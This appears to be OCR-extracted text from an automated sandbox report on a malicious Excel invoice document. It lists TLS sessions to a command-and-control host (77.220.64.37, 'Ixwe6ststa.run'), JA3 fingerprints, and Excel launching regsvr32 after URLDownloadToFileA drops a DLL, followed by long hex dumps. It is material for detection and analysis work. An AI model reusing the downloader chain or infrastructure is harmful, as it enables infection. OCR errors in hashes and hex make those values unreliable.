106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

JA3 SSL Client Digest

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87
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Source

Timestamp Source IP Port

Jan 12, 2021
07:41:28.283556938
CET

77.220.64.37 443

Jan 12, 2021
07:41:30.358275890
CET

77.220.64.37 443

Jan 12, 2021
07:41:32.385092020
CET

77.220.64.37 443

Jan 12, 2021
07:41:34.450143099
CET

77.220.64.37 443

Jan 12, 2021
07:41:36.894236088
CET

77.220.64.37 443

Jan 12, 2021
07:41:39.306799889
CET

77.220.64.37 443

Jan 12, 2021
07:41:41.457151890
CET

77.220.64.37 443

Copyright null 2021

Dest

Dest IP Port  Subject

192.168.2.22 49342 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,

C=RW

192.168.2.22 49346 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49350 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49354 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49358 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49362 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49366 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

Issuer

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

Not
Before

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Not
After

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

JA3 SSL Client
Fingerprint

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

JA3 SSL Client Digest

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87
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Source

Timestamp Source IP Port

Jan 12, 2021
07:41:43.569616079
CET

77.220.64.37 443

Jan 12, 2021
07:41:45.630964041
CET

77.220.64.37 443

Jan 12, 2021
07:41:47.679960012
CET

77.220.64.37 443

Jan 12, 2021
07:41:49.740036011
CET

77.220.64.37 443

Jan 12, 2021
07:41:51.841461897
CET

77.220.64.37 443

Jan 12, 2021
07:41:53.904021025
CET

77.220.64.37 443

Jan 12, 2021
07:41:55.980370045
CET

77.220.64.37 443

Copyright null 2021

Dest

Dest IP Port  Subject

192.168.2.22 49370 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,

C=RW

192.168.2.22 49374 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49378 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49382 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49386 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49390 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49394 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

Issuer

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

Not
Before

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Not
After

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

JA3 SSL Client
Fingerprint

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

JA3 SSL Client Digest

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87
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Source Dest Not Not JA3 SSL Client

Timestamp Source IP Port Dest IP Port  Subject Issuer Before After Fingerprint JA3 SSL Client Digest
Jan 12, 2021 77.220.64.37 443 192.168.2.22 49398 CN=Ixwe6ststa.run, CN=Ixwe6ststa.run, Sun Nov Mon 771,49192- eb88d0b3e1961a0562f00
07:41:58.081724882 O=Nelalia Co., L=Kigali, O=Nelalia Co., 22 May 24 49191-49172- 6e5ce2a0b87

CET C=RW L=Kigali, C=RW 23:47:21 00:47:21 49171-159-158-

CET CEST  57-51-157-156-

2020 2021 61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

Jan 12, 2021 77.220.64.37 443 192.168.2.22 49402 CN=Ixwe6ststa.run, CN=Ixwe6ststa.run, Sun Nov Mon 771,49192- eb88d0b3e1961a0562f00
07:42:00.176278114 O=Nelalia Co., L=Kigali, O=Nelalia Co., 22 May 24 49191-49172- 6e5ce2a0b87
CET C=RW L=Kigali, C=RW 23:47:21 00:47:21 49171-159-158-

CET CEST  57-51-157-156-

2020 2021 61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

Jan 12, 2021 77.220.64.37 443 192.168.2.22 49406 CN=Ixwe6ststa.run, CN=Ixwe6ststa.run, Sun Nov Mon 771,49192- eb88d0b3e1961a0562f00
07:42:02.247072935 O=Nelalia Co., L=Kigali, O=Nelalia Co., 22 May 24 49191-49172- 6e5ce2a0b87
CET C=RW L=Kigali, C=RW 23:47:21 00:47:21 49171-159-158-

CET CEST  57-51-157-156-

2020 2021 61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

Jan 12, 2021 77.220.64.37 443 192.168.2.22 49410 CN=Ixwe6ststa.run, CN=Ixwe6ststa.run, Sun Nov Mon 771,49192- eb88d0b3e1961a0562f00
07:42:04.306580067 O=Nelalia Co., L=Kigali, O=Nelalia Co., 22 May 24 49191-49172- 6e5ce2a0b87
CET C=RW L=Kigali, C=RW 23:47:21 00:47:21 49171-159-158-

CET CEST  57-51-157-156-

2020 2021 61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

Code Manipulations

Statistics

Behavior

@ EXCEL.EXE
® regsvr32.exe
@ regsvr32.exe
@ DW20.EXE

@ DWWIN.EXE
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System Behavior

Analysis Process: EXCEL.EXE PID: 2028 Parent PID: 584

General

Start time: 07:39:43

Start date: 12/01/2021

Path: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
Wow64 process (32bit): false

Commandline: ‘C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding
Imagebase: 0x13fae0000

File size: 27641504 bytes

MDS5 hash: 5FBOAOF93382ECD19F5F499A5CAAS9F0

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\Excel8.0 read data or list device directory file |  success or wait 1 7FEEAD326B4 CreateDirectoryA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd read attributes | device synchronous io  success or wait 1 7FEEACDFDDC unknown
synchronize | non alert | non
generic read | directory file
generic write
C:\Users\user\AppData\Local read data or list device directory file |  object name 1 14080828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet read data or list device directory file |  object name 1 14080828C URLDownloadToFileA
Files directory | synchronous io  collision
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user read data or list device directory file |  object name 1 14080828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming read data or list device directory file |  object name 1 14080828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies read data or list device directory file |  object name 1 14080828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user read data or list device directory file |  object name 1 14080828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse
point
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File Path
C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\History

C:\Users\user\AppData\Local\Temp\lwjmdgav.dll

C:\Users\user\AppData\Local\Temp\445.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content.MSO\3838D125.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\EAD45CE2.emf

C:\Users\user\AppData\Local\Temp\050F0000

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet

Files\Content. MSO\9BDCC37B.emf

C:\Users\user\AppData\Local\Temp\msohtmiclip

C:\Users\user\AppData\Local\Temp\msohtmiclip1

C:\Users\user\AppData\Local\Temp\msohtmiclip1\01

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet

Files\Content. MSO\AFEA641.emf

C:\Users\user\AppData\Local\Temp\1008733.cvr

C:\Users\user

C:\Users\user\AppData\Local

Copyright null 2021

Access

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic read

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic read |
generic write

read attributes |
synchronize |
generic write

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic read |
generic write

read data or list
directory |
synchronize

read data or list
directory |
synchronize

Attributes

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

sequential only
| synchronous
io non alert |
non directory f
ile | open no
recall

sequential only
| synchronous
io non alert |
non directory f
ile | open no
recall

synchronous io
non alert | non
directory file |
open no recall

sequential only
| synchronous
io non alert |
non directory f
ile | open no
recall

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

sequential only
| synchronous
io non alert |
non directory f
ile | open no
recall

synchronous io
non alert | non
directory file |
open no recall

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

Completion

object name
collision

object name
collision

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

object name
collision

object name
collision

Count

Source
Address

14080828C

14080828C

14080828C

13FE2EC83

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

14080828C

14080828C

14080828C

Symbol
URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

GetTempFileNameW

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA
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Source

File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Microsoft\Office\14.0\ read data or list device directory file |  object name 1 14080828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
File Deleted
Source

File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\3838D125.emf success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\EAD45CE2.emf success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\9BDCC37B.emf success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\445.tmp success or wait 1 14009B818 DeleteFilew
C:\Users\user\AppData\Local\Temp\~DF78BD4D9E79555597.TMP success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\AFEA641.emf success or wait 1 7FEEAC59ACO unknown

File Moved

Source

Old File Path New File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\050F0000 C:\Users\user\AppData\Local\Temp\xIsm.sheet.csv success or wait 1 7FEEAC59ACO unknown
C:\Users\user\Desktop\852F0000 C:\Users\user\Desktop\Inv0209966048-20210111075675.xIsO  success or wait 1 7FEEAC59ACO unknown

File Written

Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\Local\Te unknown 4 4d 53 46 54 MSFT success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 02 00 01 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 09 04 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 2 51 00 Q. success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 2 00 00 . success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 2 02 00 . success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 2 00 00 . success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 06 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 91 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 d0 02 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 08 24 00 00 $.. success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 2400 00 00 $... success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 ff ff ff ff success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 20 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 80 00 00 00 success or wait 1 7FEEACDFDDC unknown

mp\Excel8.0\MSForms.exd
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\Local\Te unknown 4 0d 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 4 a2 01 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 580 00 00 00 00 64 success or wait 1 7FEEACDFDDC unknown

mp\Excel8.0\MSForms.exd

000000¢8 0000 ...
00 2¢ 01 00 00 90 ....

01 00 00 f4 01 00

0058 02 00 00 bc ...

02 00 00 20 03
00 00 84 03 00

00e80300004c ...

04 00 00 b0 04
00 00 14 05 00
00 78 05 00 00
dc 05 00 00 40
06 00 00 a4 06
00 00 08 07 00
00 6¢ 07 00 00 dO
07 00 00 34 08
00 00 98 08 00
00 fc 08 00 00 60
09 00 00 c4 09

00 00 28 0a 00
00 8c 0a 00 00 fO
0a 00 00 54 Ob
00 00 b8 Ob 00
00 1c Oc 00 00 80
0c 00 00 e4 Oc 00
00 48 0d 00 00
ac 0d 00 00 10
Oe 00 00 74 Oe
00 00 d8 Oe 00
00 3c 0f 00 00 a0
0f 00 00 04 10 00
00 68 10 00 00 cc
10000030 11
00 00 94 11 00
00 f8 11 00 00 5¢
1200 00 c0 12 00
00 24 13 00 00
88130000 ec 13
00 00 50 14 00
00 b4 14 00 00
18 1500 00 7¢c
1500 00 e0 15
00 00 44 16 00
00 a8 16 00 00 Oc
170000 70 17
00 00 d4 17 00
00 38 18 00 00 9¢c
18 00

C:\Users\user\AppData\Local\Te unknown 16 ff ff ff ffa4 38 00 ..... 8 success or wait 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 ff ff ff ff Of 00

00 00
C:\Users\user\AppData\Local\Te unknown 16 ffff ffffO0 14 00 .....cceeeene success or wait 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 98 13 00 00 of

00 00 00
C:\Users\user\AppData\Local\Te unknown 16 ffffffff480000 ...H..4.... success or wait 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 34 00 00 00 of

00 00 00
C:\Users\user\AppData\Local\Te unknown 16 fiffffff0006 00 .......cc.... success or wait 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 do 03 00 00 of

00 00 00
C:\Users\user\AppData\Local\Te unknown 16 ffffffff800000 .......c..... success or wait 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 ff ff ff ff Of 00

00 00
C:\Users\user\AppData\Local\Te unknown 16 ffff ffff00 1000 ....ccoeeeeeee success or wait 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 a0 Oe 00 00 Of

00 00 00
C:\Users\user\AppData\Local\Te unknown 16 fiffffff000200 ............. success or wait 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 ff ff ff ff Of 00

00 00
C:\Users\user\AppData\Local\Te unknown 16 ff ff ff ff 00 78 00 success or wait 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 f8 49 00 00 Of

00 00 00
C:\Users\user\AppData\Local\Te unknown 16 ffff ffffO00b 00 ........ T success or wait 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 54 06 00 00 Of

00 00 00
C:\Users\user\AppData\Local\Te unknown 16 ffffffff002000 ... P..... success or wait 7FEEACDFDDC unknown

mp\Excel8.0\MSForms.exd

Copyright null 2021

00 50 19 00 00 of
00 00 00
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

16

14500

ff ff f ff 00 00 00
00 ff ff ff ff Of 00
00 00

ff ff ff ff 20 00 00
00 18 00 00 00 Of
00 00 00

ff ff f ff 00 00 00
00 ff ff ff ff Of 00
00 00

ff ff f ff 00 00 00
00 ff ff ff ff Of 00
00 00

ff ff f ff 00 00 00
00 ff ff ff ff Of 00
00 00

26 21 00 00 ff ff ff
ff 00 00 00 00 00
00 00 00 03 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 18 00 00 00
00 00 00 00 14
00 00 00 00 00
00 00 ff ff ff ff 00
00 00 00 00 00
00 00 ff ff ff ff 00
00 00 00 04 00
00 00 03 00 03
80 00 00 00 00
00 00 00 00 ff ff ff
ff 26 21 01 00 ff ff
ff ff 00 00 00 00
00 00 00 00 03
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 30 00 00
00 00 00 00 00 2c
00 00 00 00 00
00 00 ff ff ff ff 00
00 00 00 00 00
00 00 ff ff ff ff 00
00 00 00 04 00
00 00 03 00 03
80 00 00 00 00
00 00 00 00 ff ff ff
ff a6 10 02 00 ff ff
ff ff 00 00 00 00
00 00 00 00 03
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 48 00 00
00 00 00 00 00
4400 00

&l.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

Symbol

unknown

unknown

unknown

unknown

unknown

unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\Local\Te unknown 128 c80d 0000 f807 ........ (eeeeen @...(..x..@. success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 00 28 0e 00

00 10 08 00 00
40 Oe 00 00 28
08 00 00 78 Oc 00
00 40 08 00 00
d0 Ob 00 00 98
0d 00 00 e8 Ob
00 00 98 0a 00
00 68 0d 00 00 cO
Oc 00 00 18 Oc 00
00 88 08 00 00
90 09 00 00 10
Oe 00 00 88 Oe
00 00 58 Ob 00
00 40 Ob 00 00
28 0b 00 00 70
Oe 00 00 08 0d
00 00 88 05 00
00 58 Oe 00 00
90 Oc 00 00 e0 Oa
00 00 50 0d 00
00 20 0d 00 00
b8 Ob 00 00 d8 Oc
00 00

C:\Users\user\AppData\Local\Te unknown 3744 46 96 c3 60 4f aa success or wait 1 7FEEACDFDDC unknown

mp\Excel8.0\MSForms.exd 75 4d 9d 06 1c
34 62 0f da 8d fe
ff ff ff ff f ff ff O1
43 50 66 Of be 1a ....
10 8b bb 00 aa
00 30 Oc ab 00 00 .k.i
00 00 ff ff ff ff 13
43 50 66 0f be 1a
10 8b bb 00 aa
00 30 Oc ab 64 00
00 00 ff ff f ff Ob
43 50 66 0f be 1a
10 8b bb 00 aa
00 30 Oc ab c8 00
00 00 ff ff ff ff 02
e0 f6 be 74 a8 la
10 8b ba 00 aa
00 30 Oc ab 2c 01
00 00 ff ff ff ff 03
e0 f6 be 74 a8 1a
10 8b ba 00 aa
00 30 Oc ab 90 01
00 00 ff ff ff ff 20
47 bb 10 97 {7 ce
11 b9 ec 00 aa 00
6b 1a 69 f4 01 00
00 ff ff ff ff 0 03
0c 57 97 f7 ce 11
b9 ec 00 aa 00 6b
1la 69 58 02 00
00 ff ff ff ff 90 f5
72 ec 7513 ce 11
b9 e8 00 aa 00
6b 1a 69 bc 02 00
00 ff ff ff ff 70 23
b0 82 bec b5 cf 11
81 0f 00 a0 c9 03
00 74 20 03 00
00 ff ff ff ff 71 23
b0 82 bc b5 cf 11
81 0f 00 a0 c9 03
00
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File Path Offset Length Value Ascii Completion Count Address Symbol
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset Length Value

unknown 5016

unknown 52

00 00 01 03 00
00 00 00 c8 0d 00
0001000103
00 00 00 00 e0
0d 00 00 02 00
00 01 00 00 00
00 00 00 00 00
03 00 00 01 00
00 00 00 00 00
00 00 04 00 00
01 00 00 00 00
00 00 00 00 05
00 00 01 00 00
00 00 01 00 00
00 06 00 00 01
00 00 00 00 02
00 00 00 07 00
00 01 00 00 00
00 00 00 00 00
08 00 00 01 00
00 00 00 00 00
00 00 09 00 00
01 00 00 00 00
00 00 00 00 Oa
00 00 01 00 00
00 00 01 00 00
00 Ob 00 00 01
00 00 00 00 02
00 00 00 Oc 00 00
01 00 00 00 00
00 00 00 00 0Od
00 00 01 00 00
00 00 00 00 00
00 Oe 00 00 01
